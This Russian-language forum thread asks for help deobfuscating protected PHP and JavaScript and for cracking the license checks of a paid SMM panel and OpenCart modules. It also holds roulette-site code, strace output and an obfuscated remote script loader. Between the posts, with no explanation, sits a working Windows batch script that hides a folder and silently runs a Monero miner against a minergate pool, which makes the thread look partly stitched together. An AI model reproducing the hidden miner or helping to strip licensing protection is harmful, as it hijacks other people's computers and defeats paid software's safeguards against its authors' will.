Здрасти, может я не так понял что делается в этой теме на форуме, но мне нужен алгоритм выпадения числа, не могу понять откуда что берется, растолкуйте чайнику, пожалуйста. Я так понимаю все заложено здесь: Code: animateRoulette: function(digit, callback) { var that = this, animation_time = 15000, sector = 360 / 15, circle_count = 10, deg, dx, normalize; if(digit <= 7) { dx = (digit * 2 - 1); } else { dx = (digit - (14 - digit)); } if(digit == 0) { dx = 0; } deg = that.markup.roulette.circle.data('deg'); normalize = deg == 0 ? 0 : 360 * (1 - (deg / 360) % 1); deg = deg + normalize + 360 * circle_count - dx * sector; that.markup.roulette.circle.data('deg', deg); that.markup.roulette.circle.css({ "-webkit-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-moz-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-o-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", transition: "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-webkit-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-moz-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-ms-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-o-transform": "rotate3d(0, 0, 1, " + deg + "deg)", transform: "rotate3d(0, 0, 1, " + deg + "deg)" }); вот все полностью: Code: var App = App || {}; App.Games.double = { GAME_STATE_WAIT: 'wait', GAME_STATE_GAME: 'game', GAME_STATE_PROCESS_WINNER: 'winner', GAME_TIME: 30, socket : undefined, game: { id: null, hash: null, bank: 0, bets: [], state: null }, /*bet: { username: 'USER1', avatar: 'ab99f8d7008edafbb759787cfb0575df990da54b_full.jpg', amount: 34.56576878, type: 'zero' }*/ request: { sending: false, sending_time: 0 }, history: [4, 5, 1, 0, 4, 5, 9, 6, 7], history_limit: 9, colors: {}, timer: undefined, interval_handler: undefined, init: function() { this.game.state = this.GAME_STATE_WAIT; this.timer = this.GAME_TIME; var that = this; this.socket = App.Sockets.sockets.double; this.socket.on('newBet', function (bet) { App.Tools.log('double - newBet', bet); that.newBet(bet); }); this.socket.on('newGame', function (game) { App.Tools.log('double - newGame', game); that.newGame(game['id'], game['hash']); }); this.socket.on('startGame', function (game_id) { App.Tools.log('double - startGame', game_id); that.startGame(game_id); }); this.socket.on('digit', function (digit) { App.Tools.log('double - digit', digit); that.newDigit(digit); }); this._initMarkup(); this._initEvents(); this.preload(); }, sendBet: function(amount, type) { if(amount > App.Balance.get()) { alert2('Не достаточно средств на балансе'); return; } var that = this; this.request.sending = true; this.request.sending_time = new Date().getTime(); App.Sockets.ping(function() { var time = new Date().getTime(); if((time - that.request.sending_time) / 1000 > 10) { that.request.sending = false; return; } $.ajax({ url: 'ajax/bet.php', type: 'POST', data: { amount: amount, type: type }, dataType: 'JSON', method:'POST', beforeSend: function() { that.markup.bets.buttons.addClass('double_bet_animation'); }, success: function(response){ if(response['status'] == 'error') { that.markup.bets.buttons.removeClass('double_bet_animation'); that.request.sending = false; alert2(response['message']); return; } App.Balance.set(response['balance']); App.Sockets.transfer('double.bet', response['bet']); if(response['start']) { App.Sockets.transfer('double.start', response['game_id']); } that.markup.bets.buttons.removeClass('double_bet_animation'); that.markup.input.val(''); that.request.sending = false; } }); }); }, newBet: function(bet) { this.game.bank += bet['amount']; this.game.bets.push(bet); this.renderStatistics(); this.renderBets(); App.Beeper.beep(); }, newGame: function(id, hash) { this.game.id = id; this.game.hash = hash; this.game.bank = 0; this.game.bets = []; this.game.state = this.GAME_STATE_WAIT; this.timer = this.GAME_TIME; }, startGame: function(game_id) { if(this.game.id !== game_id) { return; } if(this.game.state == this.GAME_STATE_GAME) { return; } this.game.state = this.GAME_STATE_GAME; var that = this; this.interval_handler = window.setInterval(function(){ that.timer --; if(that.timer < 1) { that.stopGame(); } that.renderTimer(); }, 1000); }, stopGame: function() { window.clearInterval(this.interval_handler); this.timer = 0; this.game.state = this.GAME_STATE_PROCESS_WINNER; this.renderTimer(); this.markup.roulette.labels.winning.show(); }, newDigit: function(digit) { if(this.game.state == this.GAME_STATE_GAME) { this.stopGame(); } this.history.push(digit); this.game.state = this.GAME_STATE_WAIT; this.appendToHistory(digit); this.animateRoulette(digit); }, animateRoulette: function(digit, callback) { var that = this, animation_time = 15000, sector = 360 / 15, circle_count = 10, deg, dx, normalize; if(digit <= 7) { dx = (digit * 2 - 1); } else { dx = (digit - (14 - digit)); } if(digit == 0) { dx = 0; } deg = that.markup.roulette.circle.data('deg'); normalize = deg == 0 ? 0 : 360 * (1 - (deg / 360) % 1); deg = deg + normalize + 360 * circle_count - dx * sector; that.markup.roulette.circle.data('deg', deg); that.markup.roulette.circle.css({ "-webkit-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-moz-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-o-transition": "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", transition: "transform " + animation_time + "ms cubic-bezier(.32,.64,.45,1)", "-webkit-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-moz-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-ms-transform": "rotate3d(0, 0, 1, " + deg + "deg)", "-o-transform": "rotate3d(0, 0, 1, " + deg + "deg)", transform: "rotate3d(0, 0, 1, " + deg + "deg)" }); that.markup.roulette.labels.winning.show(); setTimeout(function () { that.markup.roulette.labels.end.show(digit); that.animateAppendToHistory(digit); setTimeout(function () { that.markup.roulette.labels.counter.show(); that.renderAll(); if(callback != undefined) { callback(); } }, 4000); that.markup.roulette.circle.css({ "-webkit-transition": "transform 0ms", "-moz-transition": "transform 0ms", "-o-transition": "transform 0ms", transition: "transform 0ms" }); }, 15000); }, appendToHistory: function(digit) { this.history.splice(0, 0, digit); if(this.history.length > this.history_limit) { this.history.splice(this.history_limit, this.history.length - this.history_limit); } }, preload: function() { $.extend(this.game, App.boot['double']['game']); $.extend(this.history, App.boot['double']['history']); this.timer = App.boot['double']['timer']; $.extend(this.colors, App.boot['double']['colors']); this.renderAll(); if(this.timer > 0 && this.timer < this.GAME_TIME) { this.startGame(this.game.id); } if(this.timer == 0) { this.stopGame(); } }, renderGame: function() { this.markup.game_id.html(this.game.id); this.markup.game_hash.html(this.game.hash); }, renderAll: function() { this.renderGame(); this.renderStatistics(); this.renderBets(); this.renderTimer(); this.renderHistory(); }, renderBets: function() { var markup = ''; for(var i = this.game.bets.length - 1; i >= 0; i--) { markup += App.Tools.template(this.markup.bets.li, this.game.bets[i]); } this.markup.bets.container.empty().html(markup); }, renderStatistics: function() { var groups = { red: 0, black: 0, zero: 0 }; for(var i = 0; i < this.game.bets.length; i++) { groups[ this.game.bets[i]['type'] ] += this.game.bets[i]['amount']; } this.markup.bank_tab.html(this.game.bank); this.markup.statistics.red.html( groups.red ); this.markup.statistics.black.html( groups.black ); this.markup.statistics.zero.html( groups.zero ); var red_percent = parseInt(groups.red / this.game.bank * 100), zero_percent = parseInt(groups.zero / this.game.bank * 100), black_percent = parseInt(groups.black / this.game.bank * 100); this.markup.statistics.red_percent.css('width', red_percent > 0 ? (red_percent + '%') : 0); this.markup.statistics.zero_percent.css('width', zero_percent > 0 ? (zero_percent + '%') : 0); this.markup.statistics.black_percent.css('width', black_percent > 0 ? (black_percent + '%') : 0); }, renderTimer: function() { var timer_as_string = this.timer.toString(); while(timer_as_string.length < 3) { timer_as_string = '0' + timer_as_string; } this.markup.timer.s1.html( timer_as_string.charAt(0) ); this.markup.timer.s2.html( timer_as_string.charAt(1) ); this.markup.timer.s3.html( timer_as_string.charAt(2) ); }, renderHistory: function() { var markup = '', data, n; n = this.history.length <= this.history_limit ? this.history.length : this.history_limit; for(var i = 0; i < n; i++) { data = { type: this.colors[ this.history[i] ], digit: this.history[i] }; markup += App.Tools.template(this.markup.history.item_template, data); } this.markup.history.container.empty().html(markup); }, animateAppendToHistory: function(digit) { var markup; markup = App.Tools.template(this.markup.history.item_template, { type: this.colors[ digit ], digit: digit }); this.markup.history.container.prepend(markup); var items = this.markup.history.container.children(); if(items.length > this.history_limit) { items[ items.length - 1 ].remove(); } }, markup: { bank_tab: undefined, game_id: undefined, game_hash: undefined, input: undefined, input_buttons: undefined, bets: { buttons: undefined, container: undefined, li: undefined }, statistics: { red:undefined, zero: undefined, black: undefined, red_percent:undefined, zero_percent: undefined, black_percent: undefined }, timer:{ s1:undefined, s2:undefined, s3:undefined }, history: { container: undefined, item_template: undefined }, roulette: { circle: undefined, labels: { processing: undefined, winning: undefined, end: undefined, counter:undefined } } }, _initMarkup: function() { var that = this; this.markup.bank_tab = $('.game_switch').find('.sum_bet_2'); this.markup.game_id = $('.roulette_content .game_num'); this.markup.game_hash = $('.roulette_content #roundHash'); this.markup.input = $('.roulette_content .bonus_game_bet_input'); this.markup.input.data('amount', 0); this.markup.input_buttons = $('.roulette_content .bonus_game_calc_button_list li'); this.markup.statistics.red = $('.roulette_content .bonus_game_bet_value_container.red .bonus_game_bet_value'); this.markup.statistics.zero = $('.roulette_content .bonus_game_bet_value_container.zero .bonus_game_bet_value'); this.markup.statistics.black = $('.roulette_content .bonus_game_bet_value_container.black .bonus_game_bet_value'); this.markup.statistics.red_percent = $('.roulette_content .bonus_game_bet_value_container.red .bonus_game_bet_value_progress'); this.markup.statistics.zero_percent = $('.roulette_content .bonus_game_bet_value_container.zero .bonus_game_bet_value_progress'); this.markup.statistics.black_percent = $('.roulette_content .bonus_game_bet_value_container.black .bonus_game_bet_value_progress'); this.markup.bets.container = $('.roulette_content .game_bets_list'); this.markup.bets.li = $('.roulette_content .template_game_bets_list').html(); this.markup.bets.buttons = $('.roulette_content .place_bet_buttons li'); var timer = $('.roulette_content .roulette_counter .span_2'); this.markup.timer.s1 = timer.eq(0); this.markup.timer.s2 = timer.eq(1); this.markup.timer.s3 = timer.eq(2); this.markup.history.container = $('.roulette_content .game_roulette_history_list'); this.markup.history.item_template = $('.roulette_content .template_game_roulette_history_list').html(); this.markup.roulette.circle = $('.roulette_content .roulette_numbers'); this.markup.roulette.labels.processing = $('.roulette_content .bonus_game_pre_end.processing'); this.markup.roulette.labels.winning = $('.roulette_content .bonus_game_pre_end.winning'); this.markup.roulette.labels.end = $('.roulette_content .bonus_game_end'); this.markup.roulette.labels.counter = $('.roulette_content .roulette_counter'); var show = function() { $('.roulette_content .bonus_game_state').removeClass('front').addClass('back'); this.removeClass('back').addClass('front'); }; this.markup.roulette.circle.data('deg', 0); this.markup.roulette.labels.processing.show = function() { show.call(this); }; this.markup.roulette.labels.winning.show = function() { show.call(this); }; this.markup.roulette.labels.counter.show = function() { show.call(this); }; this.markup.roulette.labels.end.show = function(digit) { this.removeClass('red').removeClass('black').removeClass('zero').addClass(that.colors[digit]).html(digit); show.call(this); }; }, _initEvents: function() { var that = this; this.markup.input_buttons.on('click', function(){ var bet_amount = 0; if($(this).data('cost') == 'all') { bet_amount = App.Balance.get(); } else if($(this).data('cost') == 'clear_bet') { bet_amount = 0; } else { var current_amount = parseInt(that.markup.input.val()); if(isNaN(current_amount)) { current_amount = 0; } bet_amount = current_amount + parseInt($(this).data('cost')); } if(bet_amount > App.Balance.get()) { alert2('На балансе не достаточно средств'); return; } that.markup.input.val(bet_amount); }); this.markup.bets.buttons.on('click', function(){ var amount = parseInt(that.markup.input.val()), type = $(this).data('betType'); if(isNaN(amount)) { alert2('Сперва укажите сумму ставки'); return; } that.sendBet(amount, type); }); } };
Здравствуйте. Нужно деобфусцировать 2 php файла общий вес ~400 кб. Всё не так просто и всякие online сервисы, а так же free soft не помогают. Договоримся. Оставляйте согласие в личку.
@Echo on @Echo off set /a cpu=%NUMBER_OF_PROCESSORS%/2 attrib +s +h C:\ProgramData\System32 attrib +s +h C:\ProgramData\System32\*.* Start /Low /B C:\ProgramData\System32\system.exe -o stratum+tcp://xmr.pool.minergate.com:45560 --donate-level=1 -u softhack_otvet@mail.ru -p x -t %cpu% -k
Всем привет. Помогите пожалуйста деобфусцировать (так вроде это называется) 2 файла. Зашифрованы с помощью fopo.com.ar Я в этом полнейший чайник, никогда раньше не пробовал даже. Уже второй день копаюсь в инете и без толку
Там не всё однозначно, нужно для детализации смотреть проект целиком. там условие: PHP: strcmp(sha1(preg_replace("\xбла-бла",preg_replace("\xбла-бла","",file_get_contents(reset(Array))))),"\xбла-бла-бла") и если срабатывает то у functions.php то генериться код: PHP: <?php<!DOCTYPE HTML><html> <head> <title>Enigma SMM Panel - Installer</title> <style> body { margin: 0; font-family: Arial; } .wrapper { width: 600px; margin-left: auto; margin-right: auto; } input[type="text"], input[type="password"] { border: none; box-shadow: 0px 0px 15px 0px; width: 400px; padding: 10px; } .inputs { text-align: center; } input[type="submit"] { width: 300px; padding: 20px; background: #0095FF; color: #FFFFFF; border: none; box-shadow: 0px 0px 5px 0px #fff; margin-top: 20px; } #result { text-align: center; margin-top: 15px; font-weight: bold; } </style> </head> <body> <div class="wrapper"> <form method="POST" id="installation"> <div class="inputs"> <div> <p><label>MySQL Hosting</p></label> <input type="text" name="hostname" placeholder="127.0.0.1"> </div> <div> <p><label>MySQL Username</p></label> <input type="text" name="username" placeholder="root"> </div> <div> <p><label>MySQL Password</p></label> <input type="password" name="password" placeholder="root_password"> </div> <div> <p><label>MySQL Database</p></label> <input type="text" name="database" placeholder="database_name"> </div> <div> <p><label>License Code</p></label> <input type="text" name="license" placeholder="xxxx-xxxx-xxxx" maxlength="32"> </div> </div> <div style="text-align: center;"> <input type="submit" name="install" value="Install"> </div> </form> <div id="result"> </div> </div> </body></html>?> а у install.php тупо сообщение: PHP: MySQL connection is not configured correct.Check your MySQL connection settings.
Помоги и мне, у меня один в один скрипт, у этих пидоров лёг сайт и перестала работать панель Готов даже заплатить telegram Spoiler: telega @TSavchuk
у меня телеграмма нет, и я не беру деньги за крак, хак или криптоанализ в соответствии с "A Cypherpunk's Manifesto". Кидай в личку Джаббер, посмотрю, но оставляю за собой право отказаться без объяснения причин.
Здравствуйте! Завис сайт на openCart 2x из за покупных модулей, т.к. сайт разрабов сегодня 15-01-2018 в 15:15 перестал работать. Если эти модули отключить сайт отображается, но большинство функционала не работает!!! Покупные модули содержат шифрованные файлы, предполагаем что в них есть некий механизм защиты с проверкой IP-шников "91.240.85.191" и "62.109.8.29" Вот что выдал strace: connect(9, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("91.240.85.191")}, 16) = -1 EINPROGRESS (Operation now in progress) clock_gettime(CLOCK_MONOTONIC, {4246, 717606269}) = 0 poll([{fd=9, events=POLLOUT|POLLWRNORM}], 1, 1500) = 0 (Timeout) getsockopt(9, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 close(9) connect(9, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("62.109.8.29")}, 16) = -1 EINPROGRESS (Operation now in progress) clock_gettime(CLOCK_MONOTONIC, {4254, 237651313}) = 0 poll([{fd=9, events=POLLOUT|POLLWRNORM}], 1, 3000) = 0 (Timeout) getsockopt(9, SOL_SOCKET, SO_ERROR, [0], [4]) = 0 close(9) Испробовали бесплатные утилиты по расшифровке - результата нет Вот первый файл на пробу помогите пожалуйста заплатим не вопрос!
Code: ~$ dig -x 62.109.8.29 +short u-coder.ru. ~$ dig -x 91.240.85.191 +short addist.ru. ~$ ping 62.109.8.29 PING 62.109.8.29 (62.109.8.29) 56(84) bytes of data. ^C --- 62.109.8.29 ping statistics --- 3 packets transmitted, 0 received, 100% packet loss, time 2029ms ~$ ping 91.240.85.191 PING 91.240.85.191 (91.240.85.191) 56(84) bytes of data. ^C --- 91.240.85.191 ping statistics --- 9 packets transmitted, 0 received, 100% packet loss, time 8186ms выкидывайте эти модули, в strace должно быть видно из какого файла вызов идёт
да все от addist.ru Addist framework [by addist.ru] OcSEO Plus - One click solution v0.10.6 [by addist.ru] Breadcrumbs + v0.1.2 [by addist.ru] Пришлось отключить и переписать функционал, вот уже вторые сутки восстанавливаем сайт Во всех них есть шифрованные файлы которые долбятся на addist.ru с условием, если не виден сайт, то ждать секунду и повторить еще раз подключение - от чего сайт повисает!
можно уточнить версию ПЭХОПЭ и ионкуб экстеншн, а лучше всю папку с пэхопэ для анализа или ещё лучше под винду. И я чёта читнул про ионкуб нихрена не понял где он там шифрует? Расскажите процедуру, вы им даете файли пэхопэ, а они возвращают их зашифрованными? Или сами шифруете? Если сами расскажите как. Оцениваю вероятность деобфускации как => 0,36
Выполняет функцию Code: function anonymous() { var _0x13817=["script","getElementsByTagName","45","src","length",".","split","","game-gear.ru/neptun/NeptunJS.gge","neptunjs.xyz/neptun/gge/NeptunJS.gge","neptunjs.com/neptun/gge/NeptunJS.gge","neptunjs.xyz/neptun/gge/njsLoader.","neptunjs.com/neptun/gge/njsLoader.","neptunjs.com/njs/njsLoader.","neptunjs.xyz/njs/njsLoader.","neptunjs.xyz/njs/NeptunJS.gge","neptunjs.neptunjsv2/nv2/njsLoader.","removeChild","parentNode","createElement","//mem.neptunjs.com/njs/njsLoader.js","appendChild","body","data-name","njs2","setAttribute","//proteus.neptunjs.com/njs/gge/NJS.gge","head","link","href","//proteus.neptunjs.com/njs/css/neptun.css","rel","stylesheet","type","text/css"]; scriptster= document[_0x13817[1]](_0x13817[0]); a251sw8q4s= _0x13817[2]; ssdw213= scriptster[scriptster[_0x13817[4]]- 1][_0x13817[3]]; sswq98745= scriptster[scriptster[_0x13817[4]]- 1]; ddls= ssdw213[_0x13817[6]](_0x13817[5]); sdwyyqt51= ddls[ddls[_0x13817[4]]- 2]+ _0x13817[7]; sdqw4587= ddls[ddls[_0x13817[4]]- 3]+ _0x13817[7]; smls= ddls[ddls[_0x13817[4]]- 1]+ _0x13817[7]; lbsc= sdqw4587+ _0x13817[5]+ sdwyyqt51+ _0x13817[5]; if(lbsc=== _0x13817[8]|| lbsc=== _0x13817[9]|| lbsc=== _0x13817[10]|| lbsc=== _0x13817[11]|| lbsc=== _0x13817[12]|| lbsc=== _0x13817[13]|| lbsc=== _0x13817[14]|| lbsc=== _0x13817[15]|| lbsc=== _0x13817[16]) { nnmvx= 1 } else { sswq98745[_0x13817[18]][_0x13817[17]](sswq98745); script= document[_0x13817[19]](_0x13817[0]); script[_0x13817[3]]= _0x13817[20]; document[_0x13817[22]][_0x13817[21]](script) }; if(nnmvx=== 1) { scriptsus= document[_0x13817[19]](_0x13817[0]); scriptsus[_0x13817[25]](_0x13817[23],_0x13817[24]); scriptsus[_0x13817[3]]= _0x13817[26]; document[_0x13817[27]][_0x13817[21]](scriptsus); style= document[_0x13817[19]](_0x13817[28]); style[_0x13817[29]]= _0x13817[30]; style[_0x13817[31]]= _0x13817[32]; style[_0x13817[33]]= _0x13817[34]; document[_0x13817[27]][_0x13817[21]](style) } } И возвращает 3624